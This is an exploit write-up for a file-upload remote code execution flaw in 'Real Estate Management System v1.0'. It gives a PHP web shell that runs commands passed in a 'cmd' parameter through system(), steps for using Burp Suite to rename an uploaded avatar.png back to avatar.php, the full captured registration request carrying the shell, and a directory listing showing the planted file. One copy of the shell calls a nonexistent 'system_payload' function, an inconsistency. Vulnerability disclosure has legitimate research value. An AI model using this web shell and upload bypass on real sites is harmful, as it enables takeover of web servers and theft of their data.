# Exploit Title: Real Estate Management System v1.0 - Remote Code Execution via File Upload# Date: 2/11/2024# Exploit Author: Diyar Saadi# Vendor Homepage: https://codeastro.com# Version: V1.0# Tested on: Windows 11 +XAMPP 8.0.30 + Burp Suite Professional v2023.12.1.3## Description ##
This Vulnerability allow the attacker to execute command injection payloads and upload malicious file into web server .-----------------------------------------------------------------------------------------------------------------------## Simple RCE Payload : ##<html><body><form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"><inputtype="TEXT" name="cmd" autofocus id="cmd" size="80"><inputtype="SUBMIT" value="Execute"></form><pre><?php
if(isset($_GET['cmd'])){
system_payload($_GET['cmd']);}
?></pre></body></html>-----------------------------------------------------------------------------------------------------------------------## Steps to Reproduce ## 1- Open Burp Suite ( Community + Professional )+ Click on Proxy Tab Then Enable Intercept By Clicking at Intercept is off .2- Open The Browser From Proxy Tab Then Open The Resgister Web Page : http://localhost:8080/realestate/register.php
3- Prepare Your RCE PHP Script Base From Notepad or Any Editor Then Save the RCE PHP Script Base as: avatar.php filename .4- Change The Filename extension into avatar.png ,after save the RCE PHP Script .5- Click Chose File From User Image Section Then Upload Your avatar.png file.6- Click Register Then Back to Burp Suite Proxy Tab :7- Modify File Extension Into Orginal File Extension that is: avatar.php in Example :Content-Disposition: form-data; name="uimage"; filename="avatar.png"
Content-Type: image/png .8- After Modify The Content-Disposition From Burp Suite Proxy Tab Into Orginal File Extension Click Forward Button .9- Open The Login Page : http://localhost:8080/realestate/login.php Then Register Through Your Account Email & Password .10- From MenuBar Click My Account & Profile Then Right Click at Image Icon > Copy Link > New Tab > Paste > Your Malicious Command is Ready To Execute .!
-----------------------------------------------------------------------------------------------------------------------## Burp Request : ##
POST /realestate/register.php HTTP/1.1
Host: localhost
Content-Length:1100
Cache-Control:max-age=0
sec-ch-ua:"Chromium";v="121","Not A(Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform:"Windows"
Upgrade-Insecure-Requests:1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywA99kZOAu8APGlhv
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/realestate/register.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="name"
johnhamosh
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="email"
rasu1l@in.com
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="phone"+199988764------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="pass"<html><body><form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"><inputtype="TEXT" name="cmd" autofocus id="cmd" size="80"><inputtype="SUBMIT" value="Execute"></form><pre><?php if(isset($_GET['cmd'])){ system($_GET['cmd']);} ?></pre></body></html>------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="utype"
user
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="uimage"; filename="avatar.php"
Content-Type: image/png
<html><body><form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"><inputtype="TEXT" name="cmd" autofocus id="cmd" size="80"><inputtype="SUBMIT" value="Execute"></form><pre><?php
if(isset($_GET['cmd'])){
system($_GET['cmd']);}
?></pre></body></html>------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="reg"
Register
------WebKitFormBoundarypgW90eleiRxRzcEK-------------------------------------------------------------------------------------------------------------------------## PoC Simple RCE Through This Vulnerability :##
Directory of C:\xampp\htdocs\realestate\admin\user
..02/11/202408:09 PM 315 avatar.php
02/11/202408:04 PM 315 avatar.png
02/11/202406:54 PM 9,376 avatarm2-min.jpg
02/11/202406:54 PM13,186 avatarm7-min.jpg
02/11/202407:47 PM 1,814 avatars.php
02/11/202406:54 PM 1,313 gr7.png
02/11/202407:36 PM28 poc.php
-----------------------------------------------------------------------------------------------------------------------## Video PoC : ##1- https://github.com/vulnerablecms/RCE-RealEstateVIDEOPOC/blob/main/PoC-RCE.mp4
2- https://gofile.io/d/AEWEgI
-----------------------------------------------------------------------------------------------------------------------
Greetz !
